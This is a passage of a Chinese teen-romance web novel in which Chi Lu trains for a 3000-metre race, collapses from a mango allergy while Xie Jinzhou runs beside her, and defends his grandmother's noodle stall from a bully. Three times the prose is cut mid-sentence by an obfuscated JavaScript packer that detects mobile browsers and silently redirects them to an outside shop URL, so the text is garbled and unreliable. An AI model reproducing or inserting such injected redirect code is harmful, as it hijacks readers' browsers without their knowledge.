“嗯。”岑语欢明白她什么意思,“我会努力跑快一点。” “哪怕不跑快点也没关系,”驰路看着她,“你参加三千米,是完成能跑完的挑战,不留遗憾,能不能跑个名次不重要,能跑完很重要。” 刚才跟岑语欢一起跑,驰路发现她的底子很薄弱,中途屡次休息,别说参加比赛,就是全班一起跑三千米,她都会是垫底的那个。 “没想到我会跑……那么差。”岑语欢不得不面对这样的现实,“要不,我放弃吧。” 驰路抬手拍了下她的肩膀:“既然决定了,就勇敢试一次,就算垫底,也没关系。没有谁要求跑三千米要在多少分内跑完,只要你跑完了,就是一种胜利。至于别人的眼光,不用在意,毕竟,我们也不是为别人而活的。” 她的每句话都说到了岑语欢的心坎上,她犹豫片刻,点点头说:“驰路,你比我想象中的要好。” 驰路明白她这句话的意思,曾经她把她当成情敌,她都看在眼里,但不作任何回应,因为她觉得没必要。 后来,她发现岑语欢会主动跟她说话了,眼里少了恶意,看谢劲舟时,眼神里的爱意也褪去了不少,她知道,她正尝试着放下这份可能永远得不到回应的喜欢。 经历一些事后,驰路发现,人不可能一直好,也不可能一直坏,总会在某个时刻出现转变。 就在此刻,在当下,她们的关系正在发生着微妙的变化。 她们往前走着,偌大的操场上,有人在跑步,有人在练习跳高、跳远,也有人在篮球场上厮杀。 岑语欢问:“驰路,我可以这样叫你阿驰吗?” “叫什么都行。”称呼而已,她无所谓。 但能叫她阿驰的人,她知道,都是把她当朋友的人。 “阿驰,你看那个是舟哥吧?” 驰路朝篮球场上望去,有一个正在跃起扣篮的少年,身姿矫健有力,将篮球准确地投入框里。 周围传来欢呼声,是看打篮球的女生们发出的。 谢劲舟穿着宽松的黑色长袖T恤、侧边有白色条杠的黑色长裤,极为休闲。 在一堆都穿着篮球服的男生们中间,显得格格不入。 谁都不知道他为什么要穿得这么严实,只有驰路知道,他不穿露胳膊、露腿的篮球服,是因为他身上的淤青还在,伤还没好,他不想被别人看见。 但这人怎么一点都不懂得爱惜自己,这才过去一周,他就做剧烈运动! “是谢劲舟!”驰路咬牙说。 她们站在围观的女生们后面看一群男生打篮球,驰路看着谢劲舟在操场上迈着长腿奔跑、接球、传球、投篮,动作行云流水,酷到不行,几乎以一己之力带着自己的球队一次次赢了对方。 他是战场上的将领,所到之处,卷起尘烟,大杀四方,气势磅礴。 受伤的少年,依旧热血。 谢劲舟越过两三个拦截的男生,快速穿过,抬腿跃起,双臂拿着篮球高高举起,朝篮筐抛出,在空中抛出一道好看的弧线,稳稳落框。 “舟爷牛X!”队员们发出阵阵欢呼声,将身高足足有一米八八的谢劲舟举起,朝半空中抛,抛起又落下,承载着一群少年人的兴奋和狂欢。 围观的女生们也纷纷鼓掌、欢呼。 落框的篮球滚在另一队的一个男生面前,这位男生早就注意到围观的女生中有“清纯版”鼓手头牌。 为了吸引她的注意,他将篮球朝她的方向抛过去,挡在驰路面前的女生见篮球飞来,连忙让到一旁。 篮球飞偏了,朝岑语欢的方向飞去,眼见要砸向她,驰路快速做出反应,身体一跃,抬起长胳膊,以身高优势,将飞来的篮球用力一拍,朝刚才的男生那儿飞去。 男生正跟身旁的人聊天,完全没料到篮球会飞回来,砰的一声闷响,砸在他的胸口,生生的疼。 男生怒道:“谁扔的?” 抬头一看,只见不远处的驰路正看着他,嘴角似有笑意。 “我艹,没看出来啊,这女生有两把刷子!”男生来了劲儿,扔下篮球朝驰路走过去。 走到驰路身前,男生笑着跟驰路说:“刚才的篮球是你扔的吧。” “是又怎样?”驰路看着跟她差不多高的男生,因为跑步没戴眼镜,那双好看的丹凤眼微微上挑,带着一丝傲。 “哟,乖乖女说话还挺傲啊。”男生就喜欢她这种看起来乖但身上带刺的女生,继续发起进攻,“要不要跟哥出去玩玩?” “不去。”驰路干脆拒绝,看着男生不怀好意的眼神,没动怒,而是不想理,转身想离开,却被人一把拎住校服外套的衣领,力道之大,让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560775|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她连连往后退了两步,差点没站稳。 驰路转头一看,男生调笑着说:“傲什么傲,不就是成绩好吗,有什么了不起,书呆子!” 驰路见他如此举动,顿时怒了,眼神一凛,看着她拽自己衣领的手,毫不客气道:“放手!” 男生嚣张道:“我还就不放,你能把我怎么着。” 岑语欢看不下去了,看向男生说:“你知道她是谁吗?” 驰路知道岑语欢要把芳町镇大佬谢劲舟拉出来吓唬男生,却被驰路抬手制止了。 这事,她想自己解决。 男生压根儿没把驰路放在眼里,不过一个读死书的乖乖女,他才不怕她! 驰路刚想抬手挡掉男生的手,这时,有高大的身影走过来,挡住了她面前的光,一把将男生的手拿开,顺带送他拧手腕福利。 男生疼得急忙松手,刚想骂街,头一抬,看到来人竟然是谢劲舟,顿时一副怂样,灰溜溜地离开。 “你惹谁不好,惹谢劲舟的妞儿。”男生一回到篮球场,旁边的男生说。 “她是谢劲舟的妞儿?”男生吓得后背直冒冷汗,这要是刚才被谢劲舟看到他在调戏驰路,心里一阵发颤。 “也是,你又不刷贴吧,之前贴吧里发过。”旁边的男生说,“你以后可以招惹别的女生,但千万别招惹谢劲舟的妞儿了。” “还用你说。”男生怂得抓起衣服往宿舍跑,他真怕自己待下去,谢劲舟会揍他。 …… 方才围观看打球的女生们,围观了男生调戏驰路的戏码,但没人上去帮忙,谁都不想把事揽自己身上,但谁都愿意做一个观戏的看客。 “你没事吧。”岑语欢作为驰路新晋好友,关心地问。 “没事。”驰路没把刚才男生的骚扰放在心上。 但谢劲舟的语气就没那么好了,目光沉得厉害,几乎与漆黑的夜色融为一体,用略带责怪的语气说:“这么晚了,你怎么还没回去!” “舟哥,我们报了三千米,在练习。” 两人报三千米时,谢劲舟、罗子昂都不在,都不知道她俩报三千米了。 罗子昂见这边有状况,过来凑热闹,正好听到了岑语欢说的,惊讶地下巴要掉了,把岑语欢、驰路上上下下看了几遍说:“你俩?三千米?确定不是去送命的?” 随即,迎来了谢劲舟的拍脑门。 “哎哟。”罗子昂故意发出疼的声音,看向谢劲舟,“舟爷,我有说错吗,你什么时候见过欢欢参加运动会的,就是平时的跑步,每次都成功包揽倒数的宝座。” “罗刺猬,乱讲!”岑语欢瞪向罗子昂,“你再说,把你的嘴缝起来。” 岑语欢这次报三千米,并不是临时起意,在班长第一次问有谁愿意参加时,她就想要不要参加了,这次班长说的话,正好说中她的心思。 最后一次了,她想参加一次运动会,也许不能为班争光,但不会让自己留有遗憾。 她想在很多年后的某一天,翻相册时,能翻出一张照片,照片上是高三的运动会,有她洒下汗水的身影,哪怕只是小小的一个。 罗子昂的嘲讽激起了岑语欢的胜负欲,拽起驰路的胳膊,靠在她的肩头说:“这次有阿驰相助,我才不会倒数!” “哟哟哟,阿驰都叫上啦。”罗子昂见她俩亲如姐妹样,“啥时你俩好上了?” “谁要告诉你!”岑语欢朝他翻了个白眼。 “还要训练多久?”一直保持沉默的谢劲舟开了口。 “再跑一次三千米吧。”驰路看向岑语欢,“明天再加强训练强度,怎么样?” “可以啊,阿驰教练,我听你的。”岑语欢依偎着比她高半头的驰路,显得小鸟依人。 “老子陪你!”谢劲舟说。 围观的女生们,几乎发出一致的哀号声。 她们心仪的谢大佬,是真的名草有主了? 那晚,伤势未愈的谢大佬,陪着驰路,在400米的跑道上,跑了七圈半。 之后的每一晚,他都陪驰路跑,驰路让他别来,他陪她跑太惹眼。 谢大佬说:“惹眼怎么了,跟我陪你跑相比,你更惹眼。” 59. 运动会出意外 「我要跑,一直往前跑,不一定非要争个输赢。 只是不想放弃。 毕竟,做什么事都要有始有终。 Z,你说,对不对?」 ——《小蝴蝶的日落》 驰路不知道谢劲舟为什么要跟自己说出那样的话,但不可否认,当他说出这句话时,她脸红心跳,像个情窦初开的小姑娘。 还好夜色深浓,加上跑步红了脸,害羞被藏了起来,是他看不到的秘密。 岑语欢把她拉到一旁,悄悄地问:“阿驰,你觉得舟哥喜欢你吗?” “我哪里知道。” “你喜欢他吗?” 驰路沉默了,她喜欢谢劲舟吗? 面对他有意无意的撩拨,面对他强势的吻,她会心跳加速,脸颊发烫,这算喜欢吗?还是身体的本能反应? 对于从没有谈过恋爱的驰路,分不清这两者的界限。 但有一点她很清楚,跟谢劲舟在一起时,会没来由得开心,当她的后座空荡荡时,心里空落落的,像缺失了什么。 “阿驰,不要喜欢谢劲舟。” 说这句话时,岑语欢言语间没有嫉妒,只有忠告。 她说:“不到一年,你就要离开这儿了,你会有更好的未来,你跟谢劲舟,不会有结果。” 那晚,天空没有月亮,也没有繁星,黑得像墨染。 驰路的心出现了短暂的黑暗,仿若掉落黑漆漆的夜空,找不到心跳。 没有开始的事,谈不上未来。 可是,为什么她的心,却像被针扎过般。 在芳町镇,她几乎每天都能看到谢劲舟,不管是在家里,还是在学校里,他们离那么近,就连上下学,他都会开着他的那辆爱车接送她。 旁人眼中,有人觉得他们仅仅是住在同一个屋檐下的室友,有人觉得他们是友达以上,有人觉得他们俨然是情侣。 在她心里呢? 他们属于什么关系? 她竟无法说出口。 直到岑语欢说出这样的话,驰路才开始想她跟谢劲舟之间的事,想到还有不到一年的时间,她就会离开这里,就要跟谢劲舟分道扬镳,心里说不上的堵。 她希望,他们是什么关系呢? 驰路靠在阳台上,边抽着烟边想,烟尾蓄了长长的一截烟火,她也没弹开,任其被风吹掉,烟灰随风飘落。 旁边的烟灰缸里已经放了五六根烟蒂,手中的烟烧尽,她才在烟灰缸里撵灭。 忽然,她想见一见谢劲舟了,那个在深夜里,走到院墙外就推深蓝色摩托车的谢劲舟。 他看似吊儿郎当、肆意不羁,但他却又心思细腻。 像有某种心灵感应,她等到了那个深夜归来的谢劲舟,推着那辆深蓝色摩托车走进院子。 他穿着休闲裤、皮衣,戴着头盔。 他身姿挺拔、个子高,即使看不见脸,也能感受到强大的酷帅气场。 谢劲舟似乎感到了驰路的视线,摘下头盔,露出一头醒目的雾霾蓝头发,于夜色中,显得那般特别。 他额前的雾霾蓝头发被风吹起,敞开的皮衣也被风吹得鼓鼓的。 驰路不知道谢劲舟冷不冷,每次见他,他都敞着外套。 驰路想点燃烟的动作停住,嘴里叼着一根烟,右手拿着打火机,定定地望着楼下的谢劲舟。 隔着夜色,隔着一楼的距离,驰路低头,谢劲舟仰头,他们的目光在半空中相撞。 谁都没移开,都看着彼此,谁都看不清彼此眼中的情绪,但视线是那般胶着,似有火光在夜色中燃烧。 谢劲舟停好摩托车,去二楼找驰路,却发现阳台上空无一人,仿佛刚才的一幕是一场错觉。 但阳台上的烟灰缸,和刚刚熄灭的烟蒂在提醒他,方才她就在这里。 他没有看到他的蝴蝶,失落地回房,拿衣服去洗澡。 他不知道,他的蝴蝶靠在床头,点燃了香氛蜡烛,空气中飘散开白桃乌龙的香气。 烛光映在她那张纯欲又漂亮的脸上。 半明半暗中,好看得似妩媚蝴蝶。 驰路那晚很晚才在蜡烛噼里啪啦的声响中睡着,睡之前,心思时不时飘到外面的动静里。 而她,不喜欢这样。 被人牵动着神经,由不得自己。 * 运动会为期三天,三千米长跑是在第二天,训练了一周的驰路、岑语欢来到操场的检录处登记。 检录完站在操场边等待,许婉走过来,拿着两个彩球,边举起来边说:“加油哟,两位小仙女最棒!” “有多棒不知道,但就算都是垫底冠军也没事,就当为最后一年的运动会再次垫底添砖加瓦。”她们的身边传来公鸭嗓。 驰路不用去看都知道是罗子昂。 她从岑语欢那儿得知,她们班在高二参加运动会就是倒数,总分垫底,最关键的是没人参加三千米,在这个项目上算是妥妥的0分。 岑语欢没太多压力,如果能跑个能有积分的第六名也行,如果不能,垫底也无所谓。 她对自己没那么多要求,能跑完,她就谢天谢地了。 因为,通过这一周的训练,她发现自己实在没有跑步天赋,腿练得酸痛。 但驰路不同,她年年参加运动会,年年报三千米,每次都能跑第一。 她喜欢跑起来,穿越风的那种恣意感。 她也喜欢,荣耀加身。 如果有机会赢,她不想输。 驰路看似无意地朝四周张望,似乎在寻找着某个身影。 “驰妹,是不是在找舟爷?”罗子昂看穿驰路的心事。 驰路才不会承认,矢口否认:“谁要找他。” “运动会期间,又不上课,咱舟爷要开展他的赛车事业,这两天都会有比赛,今天不会来了。”罗子昂话锋一转,“驰妹,不过舟爷交代我们了,要一起为你欢呼呐喊。” 说完,罗子昂展开右臂,右侧排着一溜男生,手里都拿着三角形红色小旗帜,上面写着:驰妹、岑妹,振聋发聩! “舟爷想的宣传语,做的设计,我去定制的,不错吧。”罗子昂引以为傲。 “咱罗哥设计,必属精品!”其他兄弟捧场。 一群中二少年,以他们的方式,为她们助威。 “谢谢。”驰路有些动容。 她想到了高一、高二的运动会,也是一群人给她助威,比现在的人还要多。 那些跟在她身后的狐朋狗友,成了不再联系她的人,也成了被她拉入黑名单里的人。 有时候,人际关系会这样,你想好好维系,想跟他做一辈子的朋友,却发现人家可能只是把你当聊天的谈资、利用的工具,甚至会在背后捅你一刀。 而身旁这群中二少年,驰路在他们身上看到了为好友两肋插刀。 从谢劲舟那儿了解到,跟在他后面的这帮兄弟,跟着他有两年了,谁都没走,谁都会有人遇到困难时,及时伸出援手。 可惜,谢劲舟不会来。 …… 开跑前,驰路收到了安然、梁清安的加油信息。 他们都在远方,却都将她放在心上。 这份对她的牵挂和关心,在驰路站在起跑线上时,如一团温暖的火焰,将她包裹。 今天的天气格外好,阳光和煦,微风徐徐,吹来一阵青草香。 随着一声枪响,起跑线上的二十名选手,如离弦之箭朝前狂奔。 “我艹,咱驰妹的脚上是装了风火轮吗,跑这么快。”罗子昂前两天看过驰路训练,也没见她跑这么快。 “就是舟爷看不到驰妹精彩的比赛了。”其他人说。 “秦深,你光拿旗不摇,算怎么回事!”罗子昂知道秦深性子闷,光让他拿旗就费了他不少口舌。 罗子昂想了想,干脆从秦深手中夺过旗帜,跟他说:“你负责录吧,把驰妹、岑妹比赛时的风采录下来。” “这个主意好。”其他人附和。 赛场上,毫无意外,第一圈时,岑语欢以她的蜗牛速度成功垫底。 但谁都没料到,看起来乖巧得不行的年级学霸,跑起来又快,姿势又帅,还跑了个第二。 她不戴眼镜的样子,少了些乖巧,多了些妩媚,哪怕穿着普通的白色T恤、休闲长裤,也无法掩盖她好看的长相。 驰路个高腿长,白色T恤的下摆又掖在长裤里,显得她腿更长,跑起来具有了观赏性,吸引了本来在观看其他比赛的同学们前来围观。 驰路知道跑三千米是有一定技巧的,长跑中需要格外注意体力消耗,切不可在一开始就跑第一,后面几圈的冲刺格外重要。 但她跑着跑着,却开始有些腹痛,步子不由得慢下来,从原先的第二名掉到第三名,再掉到第四名。 耳边有风声,还依稀听到看戏同学的嘲讽:“这就是驰路吧,我就说她跑长跑不行,就第一圈跑得快有什么用,又不是跑四百米。” 也听到许婉、罗子昂那群人的加油声:“阿驰加油!”“驰妹,跑啊,快跑!” 他们的加油声喊得热血沸腾。 她不想辜负谁,她想跑得快一些,再快一些。 但跑得越快,腹部的疼痛越强烈。 跑到第四圈时,头部开始有些发晕。 驰路发觉不妙,这样的感受很久没有体会过了,但她却没有忘记,自自己记事起,在小学二年级发生过两次,第一次没注意,以为是累着了,直到第二次发生时,严重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560776|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到她晕倒了。 路女士把她送到医院,经过各种检查,才得出一个结论:她对芒果过敏。 此后,关于芒果的一切,她都不去碰。 难道是…… 驰路想到了在跑步前半个小时,江迟给她准备了饮料。 当时正在跟许婉聊天,没注意到自己喝的是芒果饮料。 糟了! 这场长跑,别说第一了,她能不能坚持跑到最后,怕是都难。 跑步前的信心,此刻如被人进攻后的城墙般坍塌。 步伐越来越慢,从第四名掉到第五名,再继续往下掉。 落在最后的岑语欢看着跑得越来越慢的驰路,很纳闷,训练的时候,她跑得都挺快,怎么这次却跑慢了呢? 到第五圈时,驰路腹痛头晕到不得不再放慢脚步,慢到落在后面,跟岑语欢一起,差前面一名,也差半圈的距离。 她知道自己输定了,但她不想半途而废,哪怕是输,她也要跑到终点! 驰路额头上全是细密的汗珠,身上也在冒着冷汗,疼意将她裹挟着,她却没有丝毫退缩,拖着沉重的步子往前跑。 “阿驰,你是不是不舒服?”岑语欢发现了她的不对劲,“如果不舒服的话,你就别跑了。” “我没事。”驰路朝她挤出一抹笑。 “看她之前跑得多快,现在就跑得多慢,跑起来的样子,像不像一只乌龟?”驰路的耳边传来嘲讽声、笑声。 她很想有逆风翻盘的机会,奈何身体的状态越来越差,靠着意志在坚持。 驰路继续跑着,余光瞥见跑道旁有一道高大的身影,正在跑。 她跑得有多慢,旁边的那个人就跑得有多慢。 驰路扭头去看,竟然是谢劲舟! 他穿着一件白色短袖T恤、黑色运动裤,脸上都是汗,看样子是跑过来的。 他是特意赶过来看自己比赛的吗? 谢劲舟什么都没说,没像罗子昂他们还在为自己加油,也没让她停下来,而是静静地陪着她跑,像之前训练的每个夜晚陪着她跑一样。 驰路的心间涌上一股暖流,一种无形的力量袭上来,就跟之前每晚,谢劲舟陪她时,生出的力量一样。 是有人陪伴的力量。 顶着腹痛和昏沉,驰路积蓄体内的一股力,加快步伐往前跑。 少女的马尾辫在脑后晃着,风吹起她的T恤衣摆。 她穿越秋风,破开暖阳,朝前奔跑,自由恣意,宛若翩跹蝴蝶。 谁都不知道,她的身体承受着怎样的难受。 方才嘲讽驰路的那群女生,见芳町镇大佬陪着她跑,顿时噤了声,心里有一万个不满意,但都不敢直言。 岑语欢看着驰路离自己越来越远的背影,担忧少了些,她应该没那么难受了吧,她怎么着也能跑前几吧。 岑语欢的脑中浮现出每晚来学校陪自己跑步的弟弟沈西顾,像是受到了某种鼓舞,加快步子往前跑。 哪怕是垫底的,她也希望不要跟倒数第二名拉太远的距离。 跑的每一步,对驰路而言,都那般煎熬,仿佛长了脚的美人鱼,来到陆地上,每走一步都疼。 她每跑一步,难受就加重一分。 余光里陪着自己跑的高大身影时不时变得模糊,驰路不得不紧紧闭上眼,再睁开,冷汗越来越多,腹痛也始终缠着她。 跑到最后一圈,驰路已难受到快要撑不住,她感觉自己就像悬崖边的一株野草,正在接受着狂风暴雨的洗礼,摇摇欲坠,随时有坠崖的危险。 这株野草凭着顽强的意志力,继续往前冲刺,超越一名,又超越一名。 耳边似乎传来沉磁的嗓音,似乎很轻,又似乎很重,恰好落在她的心上:“阿驰,咱不跑也没关系。” 驰路忽然有种想哭的冲动,自她家里出事以后,跟老爸老妈联系时,他们常常问的是:“你学得怎么样?考试考了第几名?” 他们关注的是她的成绩,是他们可以炫耀的资本,却从不关心她过得好不好、活得累不累。 她也希望,在学到深夜的时候,有人跟她说:“如果累的话,就停下来,现在不学也没关系。” 现在有人跟她说出了这样的话,宛若一剂温暖的强心针,注入她的身体,蔓延各处。 谢劲舟在终点等她。 她太累了,太痛了,却不甘落于人后,继续冲刺,奋力冲过终点线,直直地扑入谢劲舟的怀里。 她的神明,从未离开。 一直以他的方式,守护着她。 她的世界洒下一片春光,是她的神明落下的信仰。 鼻端尽是属于神明的味道,在这种熟悉的味道里,她的感官越发模糊,渐渐失去意识。 60. 皮夹克男来惹事 「有个姑娘是傻子。 她叫驰路。 但我在乎这个傻子。 在乎她有没有按时吃饭、有没有平安顺遂、有没有在乎我。」 ——《引路星》 驰路醒来时,入目一片白,白色的墙壁,白色的帘子。 这个地方,她熟悉,之前来过一次。 是学校的医务室。 驰路发现自己正在输液,左手背插着针管,但这次旁边没有人。 谁把她送过来的? 正疑惑间,听到帘子外传来脚步声,似乎是往她这边走来。 “阿驰,你现在感觉好点了吗?”许婉掀开帘子问驰路。 身后的江迟给她递过来一个保温杯,是她的。 “喝点温水吧。”江迟帮她拧开了盖子,扶着她靠在床头,“医生说你是芒果过敏。对不起啊,阿驰,我不知道你芒果过敏。” “没事。”驰路知道江迟不是故意的,没跟他计较,接过保温杯,喝了几口水。 “谁把我送过来的?”驰路在彻底失去意识前,隐约看到染着一头雾霾蓝的男生将她抱起。 是谢劲舟把她送过来的? 如果是的话,他怎么不在? “还能有谁,必须是舟哥啊!”许婉说,“你不知道啊,当时舟哥抱起你匆匆忙忙跑起来的样子有多着急。” “他人呢?”驰路问。 “本来他一直在床边陪着你的,但看他有事,我就说,换我来陪你。刚我出去接了个电话。”许婉说。 “我多少名?” “你猜猜。” “第六?”驰路想了想当时跑的画面,隐约记得前面还有几人。 “第四。”许婉坐到椅子上,看着驰路,“阿驰,你真的好棒!在那种难受的情况下,竟然能坚持跑到最后,还能拿到第四的好成绩,第四名还能加分呢,加4分。” “还行。”对于这样的成绩,驰路还算满意,能跑完就已经不容易了。 “语欢就可惜了。”许婉说。 “她跑最后?”驰路问。 “最后都没有。”许婉说,“她看到你晕倒了,跑到你面前就没继续跑了,跟舟哥一起来医务室陪你了。” “她人呢?” “去给你买点吃的了。” 正说着,有人掀开帘子进来,正是岑语欢,手里拎着一个塑料袋:“阿驰,你醒来,好点没?饿了吗?要不要喝点粥?” 驰路看着关心自己的三人,有些感动。 人与人之间的链接,随着时间的推进,总会发生变化。 她在芳町三中,友谊之花,一朵一朵地绽放。 …… 喝完粥,驰路沉沉睡去,再次醒来时,床边趴着一个人。 染着一头雾霾蓝的头发,右侧短茬上有一道醒目的“X”,右耳骨上的黑色耳桥正闪着光。 她的神明来了。 * 这次的运动会,让驰路的名气又添了一把火,有人在贴吧里给她取名“运动西施”,发出她在跑步时的照片。 高三七班有个“运动西施”,长得倾国倾城、美若天仙的消息不胫而走。 来围观驰路的男同学越来越多,但每次来一拨,都会被芳町镇大佬冷冽的目光中吓退。 后来干脆都不敢来了,听说,芳町三中的贴吧里多了一条热评:谁再敢来看“运动西施”,看老子怎么收拾你! 头像是个骑在摩托车上、穿着车服的身影,身影很小,但摩托车上的12却很醒目。 谁都认出来了,这辆印有12的深蓝色摩托车是谢劲舟的。 没人再来围观驰路后,她顿时感到校园生活清静下来。 十一月初的那场期中考试,驰路的总排名再次升到年级第二,班级第二,压她一头的依然是她的同桌——江迟。 别人眼中成绩差到无与伦比的谢劲舟,班级成绩从倒数第一,提高了十个名次,众人意料之外,却在驰路意料之中。 学习这种事,你学了、刷题了,就会有进步,但如果你什么都不做,只会原地踏步或者退步。 罗子昂直夸“驰老师教得好”,随后说出想法:“驰老师,要不要再收一名学生?” 罗子昂在谢劲舟的刺激下,渐渐收了玩心,课间、晚自习会请教驰路问题,上课也比之前专心了,刷题也比之前勤了。 岑语欢看了都觉得讶然,他们这是为了高考,要奋发图强了吗? …… 高三的节奏快,在每天的上课、学习、刷题中,日子很快滑到了十一月底。 黑板上的高考倒计时每天都在减天数,作为吊车尾班级的学生们,大多数人对这个数字并没有感触,该玩还是玩。 但对像驰路这样心存目标的同学来说,每减少一天,意味着高考逼近一天。 驰路在学业上从未放松,这期间,只去过一次霓虹酒吧,在震耳欲聋的音乐中,在鼓棒起落的奏响中才得到一丝放松,缓解了学习上紧绷的神经。 这天晚自习,驰路跟往常一样,到点了收拾东西回家。 不过,有一点不同的是,谢劲舟不在学校,她得自己骑自行车回去。 她跟许婉、岑语欢、江迟一起下了笃行楼,先跟江迟道别,再跟许婉道别,继而跟岑语欢一起回去。 她们刚骑出几百米,身后传来轻快的男声:“你属乌龟的吧,骑这么慢!” 话音刚落,一辆自行车嗖地从她们身旁骑过,快得似一阵疾风,又嗤地一声停住,车轮擦过地面,发出刺耳声音。 自行车的主人一转车把手,车龙头不偏不倚地挡住了岑语欢的去路。 岑语欢不得不紧急捏了刹车,转头瞪眼看来人,气道:“沈西顾,你是江湖大盗吗?这是要劫财?” 沈西顾把右手往岑语欢的肩头一搭:“姐,我哪敢劫你的财,要劫也是劫你的人。” 岑语欢抖开沈西顾的手,看着他一副吊儿郎当的痞坏模样,斜睨他:“说,要干吗?” “你不是说要吃小王烧烤,我这不是来给你当免费的饭搭子了吗。”沈西顾一转车龙头,拉着岑语欢的车龙头往前一拽,跟上他。 在深秋的熙熙攘攘的校园外,沈西顾见岑语欢的自行车跟自己的并行了,说了声“走咯”,还不忘转头跟驰路说:“阿驰姐,88。” 岑语欢停住,转头看驰路:“阿驰,你要不要跟我们一起?” “我不去了,回去还要洗衣服。”驰路朝他们摆手,“88。” 她跟他们不同,虽然他们来自重组家庭,但有父母的照顾,哪像她寄人篱下,很多家务活都要自己做。 驰路骑车路过芳町职业高中,跟芳町三中有所不同的是,这个时间点,芳町三中门口的学生基本都回去了,但这所高中的学生会三五成群地集中在学校门口吞云吐雾。 每次路过时,驰路都会加快速度,她知道这帮人什么德行,见到她,不是吹口哨就是主动打招呼,最爱调戏她这种看起来乖的女生。 抽烟的男生们,见大晚上的遇到驰路这么好看又这么乖的女生,忍不住纷纷朝她投过去玩味的视线,露出油腻的笑,口哨声一声响过一声。 驰路没理,继续往前骑。 只要她当什么都没听见、什么都没看见,就什么都不会发生。 驰路快骑到职业高中院墙尽头,远离了那些中二男生,这儿没了路灯,只见不远处亮着一盏昏黄的灯。 是一个小摊位,孤零零地伫立在黑夜里,唯有那盏灯闪着微弱却温暖的光。 摊位旁走过去几个大摇大摆走着的男生,边走边说: “听说这是谢劲舟奶奶开的小面摊吧。” “没错,就是这个,好再来小面。” “好再来是吧。”男生走到面摊前,跟谢奶奶说:“老太婆,给我们各来一碗饸饹面,要汤的。” “好嘞!”谢奶奶笑意满面,热情满满地开始一顿忙碌。 捞好三碗面,一碗一碗地端过去,最后一碗刚要放到桌上时,皮夹克男手肘一动,直接顶到谢奶奶的手腕上。 谢奶奶在外力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560777|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的作用下,一个不稳,手里的碗啪嗒落地,滚烫的面全都洒到她的脚背上。 谢奶奶穿着薄薄的布鞋,热汤很快渗透鞋面,沾到脚背上,烫得她忍不住跺了几下脚,但丝毫没缓解烫意。 “老太婆,你会不会端碗啊,眼瞎了,烫都洒我身上了。”皮夹克男骂骂咧咧道。 他拿起桌面的抽纸,抽了一大叠往身上擦,但他衣服上丝毫没有沾到一滴汤。 他垂眸,看着谢奶奶完全湿透的鞋面,露出邪恶的笑容。 抬头间,皮夹克男脸上的笑容瞬间消失,跟变脸似的,变得格外严肃,扯高嗓音说:“还愣着干吗!快去给我重新煮!” 谢奶奶连忙弯腰跟皮夹克男说“对不起”,姿态卑微。 驰路早就停了车,在黑暗中,望着这一幕,握着车把手的手不由得捏紧,眼里迸发出怒意。 谢奶奶摆摊的位置不固定,经常摆在不同的学校、不同的热闹街道尽头,她不抢占别人原有的位置,或者不抢占好的位置。 她摆摊的位置,常常在黑暗中,没有路灯,鲜少有人经过。 驰路曾问谢奶奶为什么要这么做。 谢奶奶说:“孩子,谁都不容易,让一让没什么,不就是个摊位吗,只要奶奶做的面好吃,自然会有回头客。” 驰路跟谢奶奶提议过,在一个地方摆摊。 谢奶奶说:“奶奶啊,希望更多人能吃到奶奶做的面。” 谢奶奶的面做得好吃,料也给得足,价格又实惠,常常有不少吃过的人,再次看到“好再来小面”时,会坐在那张塑料矮桌前,来一碗手工面。 谢奶奶的小面摊渐渐生意兴隆,名声也传出去。 但驰路却是第一次看到谢奶奶被人欺负,是不是在这之前谢奶奶也有过这样的遭遇? 驰路想起了前两天看到谢奶奶手背的伤,是明显的烫伤。 她问谢奶奶是怎么弄的,谢奶奶只说是煮面时不小心烫到的。 如果是这样,为什么烫伤的面积那么大? 当时她就内心存疑,现在看到这一幕,大概知晓真相了。 驰路蹬车往前骑,骑的时候看到皮夹克男挑起对面男生碗里的面,大声跟谢奶奶说:“老太婆,你碗里有虫子!” 碗里有虫子?我明明看到,是你这个浑蛋刚扔进去的! 驰路见不得有人这样欺负谢奶奶,心头直冒火。 她加快速度往前骑,骑到矮桌旁,捏了急刹,快速从车上下来。 自行车倒地,发出砰的声响。 驰路二话不说,端起那碗有虫子的面直接往皮夹克男生身上浇,热汤混着面条,哗啦啦,如同天女散花般洒了皮夹克男生一身,热汤也溅了男生一脸,烫得他出于本能反应,第一时间站了起来。 皮夹克男生一把抹掉脸上的热汤,骂道:“谁倒的!” 语气凶得不行,手一挪开,那双怒气冲冲的眼神,在看到对面是自己关注已久的小美女时,怒气散了些,转而觉得有点意思,这小美女看起来乖,倒挺有个性的! 